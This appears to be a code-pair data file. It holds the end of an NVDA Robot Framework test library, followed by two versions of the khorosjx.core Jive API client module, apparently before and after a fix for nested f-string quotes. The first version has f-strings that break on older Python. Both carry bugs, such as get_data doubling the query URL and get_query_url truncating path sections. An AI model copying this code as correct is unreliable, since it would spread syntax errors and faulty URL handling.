f"{f' {args}' if args else ''}"
f"{f' {kwargs}' if kwargs else ''}"
)
return lib.run_keyword(keyword, args, kwargs)
return runKeyword
for name in remoteLib.get_keyword_names():
setattr(
remoteLib,
name,
_makeKeywordCaller(remoteLib, name)
)
return remoteLib
def start_NVDAInstaller(self, settingsFileName):
builtIn.log(f"Starting NVDA with config: {settingsFileName}")
self.setup_nvda_profile(settingsFileName)
nvdaProcessHandle = self._startNVDAInstallerProcess()
process.process_should_be_running(nvdaProcessHandle)
# Timeout is increased due to the installer load time and start up splash sound
self._connectToRemoteServer(connectionTimeoutSecs=30)
self.nvdaSpy.wait_for_NVDA_startup_to_complete()
return nvdaProcessHandle
def start_NVDA(self, settingsFileName):
builtIn.log(f"Starting NVDA with config: {settingsFileName}")
self.setup_nvda_profile(settingsFileName)
nvdaProcessHandle = self._startNVDAProcess()
process.process_should_be_running(nvdaProcessHandle)
self._connectToRemoteServer()
self.nvdaSpy.wait_for_NVDA_startup_to_complete()
return nvdaProcessHandle
def save_NVDA_log(self):
"""NVDA logs are saved to the ${OUTPUT DIR}/nvdaTestRunLogs/${SUITE NAME}-${TEST NAME}-nvda.log"""
builtIn.log("Saving NVDA log")
saveToPath = self.create_preserved_test_output_filename("nvda.log")
opSys.copy_file(
_locations.logPath,
saveToPath
)
builtIn.log(f"Log saved to: {saveToPath}", level='DEBUG')
def create_preserved_test_output_filename(self, fileName):
"""EG for nvda.log path will become:
${OUTPUT DIR}/nvdaTestRunLogs/${SUITE NAME}-${TEST NAME}-nvda.log
"""
return _pJoin(_locations.preservedLogsDir, self._createTestIdFileName(fileName))
def quit_NVDA(self):
builtIn.log("Stopping nvdaSpy server: {}".format(self._spyServerURI))
try:
_stopRemoteServer(self._spyServerURI, log=False)
process.run_process(
f"{_locations.baseNVDACommandline} -q --disable-addons",
shell=True,
)
process.wait_for_process(self.nvdaHandle)
except Exception:
raise
finally:
self.save_NVDA_log()
# remove the spy so that if nvda is run manually against this config it does not interfere.
self.teardown_nvda_profile()
def quit_NVDAInstaller(self):
builtIn.log("Stopping nvdaSpy server: {}".format(self._spyServerURI))
self.nvdaSpy.emulateKeyPress("insert+q")
self.nvdaSpy.wait_for_specific_speech("Exit NVDA")
self.nvdaSpy.emulateKeyPress("enter", blockUntilProcessed=False)
builtIn.sleep(1)
try:
_stopRemoteServer(self._spyServerURI, log=False)
except Exception:
raise
finally:
self.save_NVDA_log()
# remove the spy so that if nvda is run manually against this config it does not interfere.
self.teardown_nvda_profile()
def getSpyLib():
""" Gets the spy library instance. This has been augmented with methods for all supported keywords.
Requires NvdaLib and nvdaSpy (remote library - see speechSpyGlobalPlugin) to be initialised.
On failure check order of keywords in Robot log and NVDA log for failures.
@rtype: SystemTestSpy.speechSpyGlobalPlugin.NVDASpyLib
@return: Remote NVDA spy Robot Framework library.
"""
nvdaLib = _getLib("NvdaLib")
spy = nvdaLib.nvdaSpy
if spy is None:
raise AssertionError("Spy not yet available, check order of keywords and NVDA log for errors.")
return spy
|
# -*- coding: utf-8 -*-
"""
:Module: khorosjx.core
:Synopsis: Collection of core functions and tools to work with the Jive Core API v3
:Usage: ``import khorosjx.core`` (Imported by default in primary package)
:Example: ``user_info = khorosjx.core.get_data('people', 'john.doe@example.com', 'email')``
:Created By: Jeff Shurtliff
:Last Modified: Jeff Shurtliff
:Modified Date: 23 Sep 2021
"""
import re
import json
import requests
from . import errors
from .utils.core_utils import eprint, convert_dict_to_json
from .utils.classes import Platform, Content
# Define global variables
base_url, api_credentials = '', None
def set_base_url(domain_url, version=3, protocol='https', return_url=True):
"""This function gets the base URL for API calls when supplied with a domain URL. (e.g. ``community.example.com``)
.. versionchanged:: 3.2.0
Added the ``return_url`` parameter to determine if the base URL should be returned by the function.
:param domain_url: The domain URL of the environment, with or without the http/https prefix
:type domain_url: str
:param version: The version of the REST API to utilize (Default: ``3``)
:type version: int
:param protocol: The protocol to leverage for the domain prefix if not already supplied (Default: ``https``)
:type protocol: str
:param return_url: Determines if the base URL should be returned by the function (``True`` by default)
:type return_url: bool
:returns: The base URL for API calls in string format (e.g. ``https://community.example.com/api/core/v3``)
:raises: :py:exc:`TypeError`, :py:exc:`ValueError`
"""
# Define global variable and dictionaries
global base_url
versions = {
2: '/api/core/v2',
3: '/api/core/v3'
}
protocols = {
80: 'http://',
443: 'https://',
'http': 'http://',
'https': 'https://'
}
# Add the appropriate protocol prefix if not present
if not domain_url.startswith('http'):
domain_url = f"{protocols.get(protocol)}{domain_url}"
# Append the appropriate API path to the URL and return the bse URL
domain_url = re.sub('/$', '', domain_url)
base_url = f"{domain_url}{versions.get(version)}"
if return_url:
return base_url
return
def set_credentials(credentials):
"""This function defines the Core API credentials as global variables and validates them.
.. versionchanged:: 3.1.0
Parenthesis were added to the exception classes and utilized the :py:func:`isinstsance` builtin.
:param credentials: The username and password for the account that will be utilizing the Core API
:type credentials: tuple
:returns: None
:raises: :py:exc:`khorosjx.errors.exceptions.IncompleteCredentialsError`,
:py:exc:`khorosjx.errors.exceptions.CredentialsUnpackingError`,
:py:exc:`khorosjx.errors.exceptions.WrongCredentialTypeError`
"""
# Initialize the global variable
global api_credentials
# Ensure the supplied data can be leveraged and then define the global variable
if len(credentials) != 2:
if len(credentials) == 1:
raise errors.exceptions.IncompleteCredentialsError()
else:
raise errors.exceptions.CredentialsUnpackingError()
elif not isinstance(credentials[0], str) or not isinstance(credentials[1], str):
raise errors.exceptions.WrongCredentialTypeError()
api_credentials = credentials
return
def connect(base_api_url, credentials):
"""This function establishes the connection information for performing Core API queries.
:param base_api_url: The base URL (e.g. https://community.example.com) for for environment
:type base_api_url: str
:param credentials: The username and password of the account to perform the API queries
:type credentials: tuple
:returns: None
"""
set_base_url(base_api_url)
set_credentials(credentials)
return
def verify_connection():
"""This function verifies that the base URL and API credentials have been defined.
.. versionchanged:: 3.1.0
Refactored the function to be more pythonic and to avoid depending on a try/except block.
:returns: None
:raises: :py:exc:`khorosjx.errors.exceptions.KhorosJXError`,
:py:exc:`khorosjx.errors.exceptions.NoCredentialsError`
"""
if not base_url or not api_credentials:
raise errors.exceptions.NoCredentialsError()
return
def get_connection_info():
"""This function returns the connection information (Base URL and API credentials) to use in other modules.
:returns: Base URL in string format and API credentials within a tuple
"""
# Verify that the connection has been established and then return the information
verify_connection()
return base_url, api_credentials
def get_api_info(api_filter="none", verify_ssl=True):
"""This function obtains the API version information for a Jive environment.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param api_filter: A filter to return a subset of API data (e.g. ``v3``, ``platform``, ``sso``, etc.)
:type api_filter: str
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: API information in JSON, string or list format depending on the filter
"""
# Verify that the connection has been established
verify_connection()
# Get the query URL to use in the API call
query_url = f"{base_url.split("/api")[0]}/api/version"
# Perform GET request to obtain the version information
response = requests.get(query_url, verify=verify_ssl)
api_data = response.json()
# Define the return filters
filters = {
'none': api_data,
'platform': api_data['jiveVersion'],
'v2': api_data['jiveCoreVersions'][0],
'v3': api_data['jiveCoreVersions'][1],
'sso': api_data['ssoEnabled'],
'edition': api_data['jiveEdition'],
'environment': api_data['jiveEdition']['product'],
'tier': api_data['jiveEdition']['tier']
}
# Filter the data to return as necessary
if api_filter.lower() in filters:
try:
api_data = filters.get(api_filter.lower())
except KeyError:
api_data = {}
else:
error_msg = f"The invalid filter '{api_filter}' was provided for the API " + \
f"information. Defaulting to returning all data."
print(error_msg)
return api_data
def get_api_version(api_name="v3", verify_ssl=True):
"""This function obtains, parses and returns the current version of one of the Jive Core APIs.
.. versionchanged:: 3.1.0
Refactored the function to be more efficient.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param api_name: The name of the API for which the version should be returned (Default: ``v3``)
:type api_name: str
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API version in major.minor notation (e.g. 3.15) in string format
"""
# Verify that the connection has been established
verify_connection()
# Ensure that a valid API name was supplied
if api_name not in Platform.core_api_versions:
error_msg = f"The invalid API name '{api_name}' was provided to obtain the API " + \
f"version. Defaulting to v3."
print(error_msg)
api_name = "v3"
# Obtain the API information
api_data = get_api_info(api_name, verify_ssl)
# Parse and return the API version number
api_version = f"{api_data.get("version")}.{api_data.get("revision")}"
return api_version
def get_platform_version(verify_ssl=True):
"""This function obtains the current Khoros JX (or Jive) version for an environment.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The full platform version in string format (e.g. ``2018.22.0.0_jx``)
"""
# Verify that the connection has been established
verify_connection()
# Obtain and return the platform version
platform_version = get_api_info('platform', verify_ssl)
return platform_version
def ensure_absolute_url(query_url):
"""This function adds the base URL to the beginning of a query URL if not already present.
.. versionadded:: 3.2.0
:param query_url: The query URL that will be utilized in an API request
:type query_url: str
:returns: The query URL that includes a top-level domain
:raises: :py:exc:`TypeError`
"""
if not base_url:
raise errors.exceptions.MissingBaseUrlError()
if query_url and not query_url.startswith('http'):
query_url = f"{base_url}{query_url}" if query_url.startswith('/') else f"{base_url}/{query_url}"
return query_url
def get_request_with_retries(query_url, return_json=False, verify_ssl=True):
"""This function performs a GET request with a total of 5 retries in case of timeouts or connection issues.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 3.1.0
Refactored the function to be more efficient.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param query_url: The URI to be queried
:type query_url: str
:param return_json: Determines whether or not the response should be returned in JSON format (Default: ``False``)
:type return_json: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the GET request (optionally in JSON format)
:raises: :py:exc:`ValueError`, :py:exc:`TypeError`, :py:exc:`khorosjx.errors.exceptions.APIConnectionError`
"""
# Verify that the connection has been established
verify_connection()
# Prepare the query URL
query_url = ensure_absolute_url(query_url)
# Perform the GET request
retries, response = 0, None
while retries <= 5:
try:
response = requests.get(query_url, auth=api_credentials, verify=verify_ssl)
break
except Exception as e:
current_attempt = f"(Attempt {retries} of 5)"
error_msg = f"The GET request failed with the exception below. {current_attempt}"
print(f"{error_msg}\n{e}\n")
retries += 1
if retries == 6:
failure_msg = "The API call was unable to complete successfully after five consecutive API timeouts " + \
"and/or failures. Please call the function again or contact Khoros Support."
raise errors.exceptions.APIConnectionError(failure_msg)
# Convert to JSON if specified
response = response.json() if return_json else response
return response
def get_base_url(api_base=True):
"""This function returns the base URL of the environment with or without the ``/api/core/v3/`` path appended.
.. versionchanged:: 3.1.0
Refactored the function to properly utilize the ``base_url`` global variable.
:param api_base: Determines if the ``/api/core/v3/`` path should be appended (``True`` by default)
:type api_base: bool
:returns: The base URL for the Khoros JX or Jive-n environment
"""
verify_connection()
global base_url
base_url = '' if not base_url else base_url
if not api_base:
base_url = base_url.split('/api')[0]
return base_url
def get_query_url(pre_endpoint, asset_id="", post_endpoint=""):
"""This function constructs an API query URL excluding any query strings.
.. versionchanged:: 3.1.0
Refactored the function to be more efficient.
:param pre_endpoint: The endpoint portion of the URL preceding any ID numbers (e.g. ``places``)
:type pre_endpoint: str
:param asset_id: The ID for an asset (e.g. User ID, Browse ID for a space/blog, etc.)
:type asset_id: str, int
:param post_endpoint: Any remaining endpoints following the ID number (e.g. ``contents``)
:type post_endpoint: str
:returns: The fully structured query URL
"""
# TODO: Include parameter to make the query URL absolute
# Verify that the connection has been established
verify_connection()
# Construct and return the query URL
if pre_endpoint[-1:] == '/':
pre_endpoint = pre_endpoint[:-1]
query_url = f"{base_url}/{pre_endpoint}"
for section in (asset_id, post_endpoint):
if not isinstance(section, str):
section = str(section)
if section:
if section[-1:] == '/':
section = section[:1]
section = f"/{section}"
query_url += section
return query_url
def get_data(endpoint, lookup_value, identifier='id', return_json=False, ignore_exceptions=False, all_fields=False,
verify_ssl=True):
"""This function returns data for a specific API endpoint.
.. versionchanged:: 3.1.0
Fixed how the ``query_url`` variable is defined to proactively avoid raising any :py:exc:`NameError` exceptions.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param endpoint: The API endpoint against which to request data (e.g. ``people``, ``contents``, etc.)
:type endpoint: str
:param lookup_value: The value to use to look up the endpoint data
:type lookup_value: int, str
:param identifier: The type of lookup value used to look up the endpoint data (Default: ``id``)
:type identifier: str
:param return_json: Determines if the data should be returned in default or JSON format (Default: ``False``)
:type return_json: bool
:param ignore_exceptions: Determines whether nor not exceptions should be ignored (Default: ``False``)
:type ignore_exceptions: bool
:param all_fields: Determines whether or not the ``fields=@all`` query should be included (Default: ``False``)
:type all_fields: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response either as a requests response or in JSON format depending on the ``return_json`` value
:raises: :py:exc:`khorosjx.errors.exceptions.GETRequestError`
"""
# Verify that the connection has been established
verify_connection()
# Define the endpoint if an appropriate one is supplied
available_endpoints = ['abuseReports', 'acclaim', 'actions', 'activities', 'addOns', 'announcements', 'attachments',
'calendar', 'checkpoints', 'collaborations', 'comments', 'contents', 'deletedObjects', 'dms',
'events', 'eventTypes', 'executeBatch', 'extprops', 'extstreamDefs', 'extstreams',
'ideaVotes', 'images', 'inbox', 'invites', 'members', 'mentions', 'messages', 'moderation',
'oembed', 'outcomes', 'pages', 'people', 'places', 'placeTemplateCategories',
'placeTemplates', 'placeTopics', 'profileImages', 'publications', 'questions', 'rsvp',
'search', 'sections', 'securityGroups', 'shares', 'slides', 'stages', 'statics',
'streamEntries', 'streams', 'tags', 'tileDefs', 'tiles', 'urls', 'versions', 'videos',
'vitals', 'votes', 'webhooks'
]
query_url = f"{base_url}/{endpoint}" if endpoint in available_endpoints else None
if not query_url:
raise errors.exceptions.InvalidEndpointError()
# Define the identifier type for the lookup value
if identifier == "id":
query_url += f"/{lookup_value}"
elif identifier == "email" or identifier == "username":
invalid_endpoint_msg = f"The identifier '{identifier}' is only accepted with the people endpoint."
if endpoint != "people":
raise errors.exceptions.InvalidLookupTypeError(invalid_endpoint_msg)
else:
if identifier == "email":
query_url += f"/email/{lookup_value}"
elif identifier == "username":
query_url += f"/username/{lookup_value}"
else:
unrecognized_endpoint_msg = f"The identifier '{identifier}' is unrecognized."
if not ignore_exceptions:
raise errors.exceptions.InvalidLookupTypeError(unrecognized_endpoint_msg)
unrecognized_endpoint_retry_msg = f"{unrecognized_endpoint_msg} " + \
"The function will attempt to use the default 'id' identifier."
eprint(unrecognized_endpoint_retry_msg)
query_url += f"/{lookup_value}"
# Append the fields=@all query if requested
query_url += "?fields=@all" if all_fields else query_url
# Perform the GET request with retries to account for any timeouts
response = get_request_with_retries(query_url, verify_ssl=verify_ssl)
# Error out if the response isn't successful
if response.status_code != 200:
error_msg = f"The query failed with a {response.status_code} status code and the following error: " + \
f"{response.text}"
if ignore_exceptions:
print(error_msg)
if return_json:
empty_json = {}
response = convert_dict_to_json(empty_json)
else:
raise errors.exceptions.GETRequestError(error_msg)
response = response.json() if return_json else response
return response
def _api_request_with_payload(_url, _json_payload, _request_type, _verify_ssl=True):
"""This function performs an API request while supplying a JSON payload.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 3.1.0
Included the name of the raised exception in the error message.
.. versionchanged:: 2.6.0
Added the ``_verify_ssl`` argument.
:param _url: The query URL to be leveraged in the API call
:type _url: str
:param _json_payload: The payload for the API call in JSON format
:type _json_payload: dict
:param _request_type: Defines if the API call will be a ``put`` or ``post`` request
:type _request_type: str
:param _verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type _verify_ssl: bool
:returns: The API response
:raises: :py:exc:`khorosjx.errors.exceptions.InvalidRequestTypeError`,
:py:exc:`khorosjx.errors.exceptions.APIConnectionError`
"""
# Prepare the query URL
_url = ensure_absolute_url(_url)
# Perform the API request
_retries, _response = 0, None
while _retries <= 5:
try:
_headers = {"Content-Type": "application/json", "Accept": "application/json"}
if _request_type.lower() == "put":
_response = requests.put(_url, data=json.dumps(_json_payload, default=str), auth=api_credentials,
headers=_headers, verify=_verify_ssl)
elif _request_type.lower() == "post":
_response = requests.post(_url, data=json.dumps(_json_payload, default=str), auth=api_credentials,
headers=_headers, verify=_verify_ssl)
else:
raise errors.exceptions.InvalidRequestTypeError()
break
except Exception as _api_exception:
_exc_type = type(_api_exception).__name__
_current_attempt = f"(Attempt {_retries} of 5)"
_error_msg = f"The {_request_type.upper()} request has failed with the following exception: " + \
f"{_exc_type} - {_api_exception} {_current_attempt}"
print(_error_msg)
_retries += 1
pass
if _retries == 6:
_failure_msg = "The script was unable to complete successfully after five consecutive API timeouts. " + \
"Please run the script again or contact Khoros or Aurea Support for further assistance."
raise errors.exceptions.APIConnectionError(_failure_msg)
return _response
def post_request_with_retries(url, json_payload, verify_ssl=True):
"""This function performs a POST request with a total of 5 retries in case of timeouts or connection issues.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param url: The URI to be queried
:type url: str
:param json_payload: The payload for the POST request in JSON format
:type json_payload: dict
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the POST request
:raises: :py:exc:`ValueError`, :py:exc:`khorosjx.errors.exceptions.APIConnectionError`,
:py:exc:`khorosjx.errors.exceptions.POSTRequestError`
"""
url = ensure_absolute_url(url)
response = _api_request_with_payload(url, json_payload, 'post', verify_ssl)
return response
def put_request_with_retries(url, json_payload, verify_ssl=True):
"""This function performs a PUT request with a total of 5 retries in case of timeouts or connection issues.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param url: The URI to be queried
:type url: str
:param json_payload: The payload for the PUT request in JSON format
:type json_payload: dict
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the PUT request
:raises: :py:exc:`ValueError`, :py:exc:`khorosjx.errors.exceptions.APIConnectionError`,
:py:exc:`khorosjx.errors.exceptions.PUTRequestError`
"""
url = ensure_absolute_url(url)
response = _api_request_with_payload(url, json_payload, 'put', verify_ssl)
return response
def delete(uri, return_json=False, verify_ssl=True):
"""This function performs a DELETE request against the Core API.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param uri: The URI against which the DELETE request will be issued
:type uri: str
:param return_json: Determines whether or not the response should be returned in JSON format (Default: ``False``)
:type return_json: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the DELETE request (optionally in JSON format)
"""
uri = ensure_absolute_url(uri)
response = requests.delete(uri, auth=api_credentials, verify=verify_ssl)
if return_json:
response = response.json()
return response
def get_fields_from_api_response(json_data, dataset, return_fields=None, quiet=False):
"""This function parses and retrieves fields from an API response from a specific dataset.
.. versionchanged:: 3.1.0
Changed the default ``return_fields`` value to ``None`` and adjusted the function accordingly.
.. versionchanged:: 2.6.0
Added conditional to ensure ``quiet`` is ``False`` before calling the ``stderr`` print statement.
.. versionchanged:: 2.5.3
Fixed the ``email.value`` filter and added the optional ``quiet`` argument.
:param json_data: The JSON data from an API response
:type json_data: dict
:param dataset: The nickname of a dataset from which fields should be retrieved (e.g. ``people``, ``group_admins``)
:type dataset: str
:param return_fields: The fields that should be returned from the API response (Default: all fields in dataset)
:type return_fields: list, None
:param quiet: Silences any errors about being unable to locate API fields (``False`` by default)
:type quiet: bool
:returns: A dictionary with the field names and corresponding values
:raises: :py:exc:`khorosjx.errors.exceptions.InvalidDatasetError`
"""
# Define the empty dictionary for data to return
fields_data = {}
# Define the fields that should be returned for the data
fields_to_return = return_fields if return_fields else []
if not fields_to_return:
# Get the default return fields for the dataset
if dataset not in Content.datasets:
error_msg = f"The supplied value '{dataset}' is not a valid dataset."
raise errors.exceptions.InvalidDatasetError(error_msg)
fields_to_return = Content.datasets.get(dataset)
# Get and return the fields and corresponding values
for field in fields_to_return:
field_not_found = False
try:
if field in json_data:
fields_data[field] = json_data[field]
elif field == "email.value":
fields_data[field] = json_data['emails'][0]['value']
elif field == "name.formatted":
fields_data[field] = json_data['name']['formatted']
elif field == "jive.lastAuthenticated":
fields_data[field] = json_data['jive']['lastAuthenticated']
elif field == "jive.externalIdentities.identityType":
fields_data[field] = json_data['jive']['externalIdentities'][0]['identityType']
elif field == "jive.externalIdentities.identity":
fields_data[field] = json_data['jive']['externalIdentities'][0]['identity']
elif field == "jive.username":
fields_data[field] = json_data['jive']['username']
elif field == "jive.status":
fields_data[field] = json_data['jive']['status']
elif field == "resources.html.ref":
fields_data[field] = json_data['resources']['html']['ref']
else:
field_not_found = True
except (IndexError, KeyError):
field_not_found = True
if field_not_found and not quiet:
eprint(f"Unable to locate the '{field}' field in the API response data.")
return fields_data
def _get_filter_syntax(_filter_info, _prefix=True):
"""This function retrieves the proper filter syntax for an API call."""
if type(_filter_info) != tuple and type(_filter_info) != list:
raise TypeError("Filter information must be provided as a tuple (element, criteria) or a list of tuples.")
elif type(_filter_info) == tuple:
_filter_info = [_filter_info]
_syntax = ""
if len(_filter_info[0]) > 0:
_define_prefix = {True: '&', False: ''}
_syntax_prefix = _define_prefix.get(_prefix)
for _filter_tuple in _filter_info:
_element, _criteria = _filter_tuple
_syntax = f"{_syntax_prefix}filter={_element}({_criteria})&"
_syntax = _syntax[:-1]
return _syntax
def get_paginated_results(query, response_data_type, start_index=0, filter_info=(), query_all=True,
return_fields=None, ignore_exceptions=False, quiet=False, verify_ssl=True):
"""This function performs a GET request for a single paginated response up to 100 records.
.. versionchanged:: 3.1.0
Changed the default ``return_fields`` value to ``None`` and adjusted the function accordingly.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param query: The API query without the query string
:type query: str
:param response_data_type: The dataset of fields that will be in the API response (e.g. ``group_members``)
:type response_data_type: str
:param start_index: The startIndex value in the API query string (``0`` by default)
:type start_index: int, str
:param filter_info: A tuple of list of tuples containing the filter element and criteria (Optional)
:type filter_info: tuple, list
:param query_all: Determines if ``fields=@all`` filter should be included in the query string (Default: ``True``)
:type query_all: bool
:param return_fields: The fields that should be returned from the API response (Default: all fields in dataset)
:type return_fields: list, None
:param ignore_exceptions: Determines whether nor not exceptions should be ignored (Default: ``False``)
:type ignore_exceptions: bool
:param quiet: Silences any errors about being unable to locate API fields (``False`` by default)
:type quiet: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The queried data as a list comprised of dictionaries
:raises: :py:exc:`khorosjx.errors.exceptions.GETRequestError`
"""
# Initialize the empty list for the aggregate data
aggregate_data = []
# Construct the full API query
fields_filter = ""
if query_all:
fields_filter = "fields=@all&"
if '?' in query:
# Strip out the query string if present to prevent interference with the query string to be added
query = query.split("?")[0]
other_filters = _get_filter_syntax(filter_info, _prefix=True)
full_query = f"{query}?{fields_filter}count=100&startIndex={start_index}{other_filters}"
# Perform the API query to retrieve the information
response = get_request_with_retries(full_query, verify_ssl=verify_ssl)
# Verify that the query was successful
successful_response = errors.handlers.check_api_response(response, ignore_exceptions=ignore_exceptions)
if successful_response:
# Get the response data in JSON format
paginated_data = response.json()
for data in paginated_data['list']:
# Parse and append the data
parsed_data = get_fields_from_api_response(data, response_data_type, return_fields, quiet)
aggregate_data.append(parsed_data)
return aggregate_data
| # -*- coding: utf-8 -*-
"""
:Module: khorosjx.core
:Synopsis: Collection of core functions and tools to work with the Jive Core API v3
:Usage: ``import khorosjx.core`` (Imported by default in primary package)
:Example: ``user_info = khorosjx.core.get_data('people', 'john.doe@example.com', 'email')``
:Created By: Jeff Shurtliff
:Last Modified: Jeff Shurtliff
:Modified Date: 23 Sep 2021
"""
import re
import json
import requests
from . import errors
from .utils.core_utils import eprint, convert_dict_to_json
from .utils.classes import Platform, Content
# Define global variables
base_url, api_credentials = '', None
def set_base_url(domain_url, version=3, protocol='https', return_url=True):
"""This function gets the base URL for API calls when supplied with a domain URL. (e.g. ``community.example.com``)
.. versionchanged:: 3.2.0
Added the ``return_url`` parameter to determine if the base URL should be returned by the function.
:param domain_url: The domain URL of the environment, with or without the http/https prefix
:type domain_url: str
:param version: The version of the REST API to utilize (Default: ``3``)
:type version: int
:param protocol: The protocol to leverage for the domain prefix if not already supplied (Default: ``https``)
:type protocol: str
:param return_url: Determines if the base URL should be returned by the function (``True`` by default)
:type return_url: bool
:returns: The base URL for API calls in string format (e.g. ``https://community.example.com/api/core/v3``)
:raises: :py:exc:`TypeError`, :py:exc:`ValueError`
"""
# Define global variable and dictionaries
global base_url
versions = {
2: '/api/core/v2',
3: '/api/core/v3'
}
protocols = {
80: 'http://',
443: 'https://',
'http': 'http://',
'https': 'https://'
}
# Add the appropriate protocol prefix if not present
if not domain_url.startswith('http'):
domain_url = f"{protocols.get(protocol)}{domain_url}"
# Append the appropriate API path to the URL and return the bse URL
domain_url = re.sub('/$', '', domain_url)
base_url = f"{domain_url}{versions.get(version)}"
if return_url:
return base_url
return
def set_credentials(credentials):
"""This function defines the Core API credentials as global variables and validates them.
.. versionchanged:: 3.1.0
Parenthesis were added to the exception classes and utilized the :py:func:`isinstsance` builtin.
:param credentials: The username and password for the account that will be utilizing the Core API
:type credentials: tuple
:returns: None
:raises: :py:exc:`khorosjx.errors.exceptions.IncompleteCredentialsError`,
:py:exc:`khorosjx.errors.exceptions.CredentialsUnpackingError`,
:py:exc:`khorosjx.errors.exceptions.WrongCredentialTypeError`
"""
# Initialize the global variable
global api_credentials
# Ensure the supplied data can be leveraged and then define the global variable
if len(credentials) != 2:
if len(credentials) == 1:
raise errors.exceptions.IncompleteCredentialsError()
else:
raise errors.exceptions.CredentialsUnpackingError()
elif not isinstance(credentials[0], str) or not isinstance(credentials[1], str):
raise errors.exceptions.WrongCredentialTypeError()
api_credentials = credentials
return
def connect(base_api_url, credentials):
"""This function establishes the connection information for performing Core API queries.
:param base_api_url: The base URL (e.g. https://community.example.com) for for environment
:type base_api_url: str
:param credentials: The username and password of the account to perform the API queries
:type credentials: tuple
:returns: None
"""
set_base_url(base_api_url)
set_credentials(credentials)
return
def verify_connection():
"""This function verifies that the base URL and API credentials have been defined.
.. versionchanged:: 3.1.0
Refactored the function to be more pythonic and to avoid depending on a try/except block.
:returns: None
:raises: :py:exc:`khorosjx.errors.exceptions.KhorosJXError`,
:py:exc:`khorosjx.errors.exceptions.NoCredentialsError`
"""
if not base_url or not api_credentials:
raise errors.exceptions.NoCredentialsError()
return
def get_connection_info():
"""This function returns the connection information (Base URL and API credentials) to use in other modules.
:returns: Base URL in string format and API credentials within a tuple
"""
# Verify that the connection has been established and then return the information
verify_connection()
return base_url, api_credentials
def get_api_info(api_filter="none", verify_ssl=True):
"""This function obtains the API version information for a Jive environment.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param api_filter: A filter to return a subset of API data (e.g. ``v3``, ``platform``, ``sso``, etc.)
:type api_filter: str
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: API information in JSON, string or list format depending on the filter
"""
# Verify that the connection has been established
verify_connection()
# Get the query URL to use in the API call
query_url = f"{base_url.split('/api')[0]}/api/version"
# Perform GET request to obtain the version information
response = requests.get(query_url, verify=verify_ssl)
api_data = response.json()
# Define the return filters
filters = {
'none': api_data,
'platform': api_data['jiveVersion'],
'v2': api_data['jiveCoreVersions'][0],
'v3': api_data['jiveCoreVersions'][1],
'sso': api_data['ssoEnabled'],
'edition': api_data['jiveEdition'],
'environment': api_data['jiveEdition']['product'],
'tier': api_data['jiveEdition']['tier']
}
# Filter the data to return as necessary
if api_filter.lower() in filters:
try:
api_data = filters.get(api_filter.lower())
except KeyError:
api_data = {}
else:
error_msg = f"The invalid filter '{api_filter}' was provided for the API " + \
f"information. Defaulting to returning all data."
print(error_msg)
return api_data
def get_api_version(api_name="v3", verify_ssl=True):
"""This function obtains, parses and returns the current version of one of the Jive Core APIs.
.. versionchanged:: 3.1.0
Refactored the function to be more efficient.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param api_name: The name of the API for which the version should be returned (Default: ``v3``)
:type api_name: str
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API version in major.minor notation (e.g. 3.15) in string format
"""
# Verify that the connection has been established
verify_connection()
# Ensure that a valid API name was supplied
if api_name not in Platform.core_api_versions:
error_msg = f"The invalid API name '{api_name}' was provided to obtain the API " + \
f"version. Defaulting to v3."
print(error_msg)
api_name = "v3"
# Obtain the API information
api_data = get_api_info(api_name, verify_ssl)
# Parse and return the API version number
api_version = f"{api_data.get('version')}.{api_data.get('revision')}"
return api_version
def get_platform_version(verify_ssl=True):
"""This function obtains the current Khoros JX (or Jive) version for an environment.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The full platform version in string format (e.g. ``2018.22.0.0_jx``)
"""
# Verify that the connection has been established
verify_connection()
# Obtain and return the platform version
platform_version = get_api_info('platform', verify_ssl)
return platform_version
def ensure_absolute_url(query_url):
"""This function adds the base URL to the beginning of a query URL if not already present.
.. versionadded:: 3.2.0
:param query_url: The query URL that will be utilized in an API request
:type query_url: str
:returns: The query URL that includes a top-level domain
:raises: :py:exc:`TypeError`
"""
if not base_url:
raise errors.exceptions.MissingBaseUrlError()
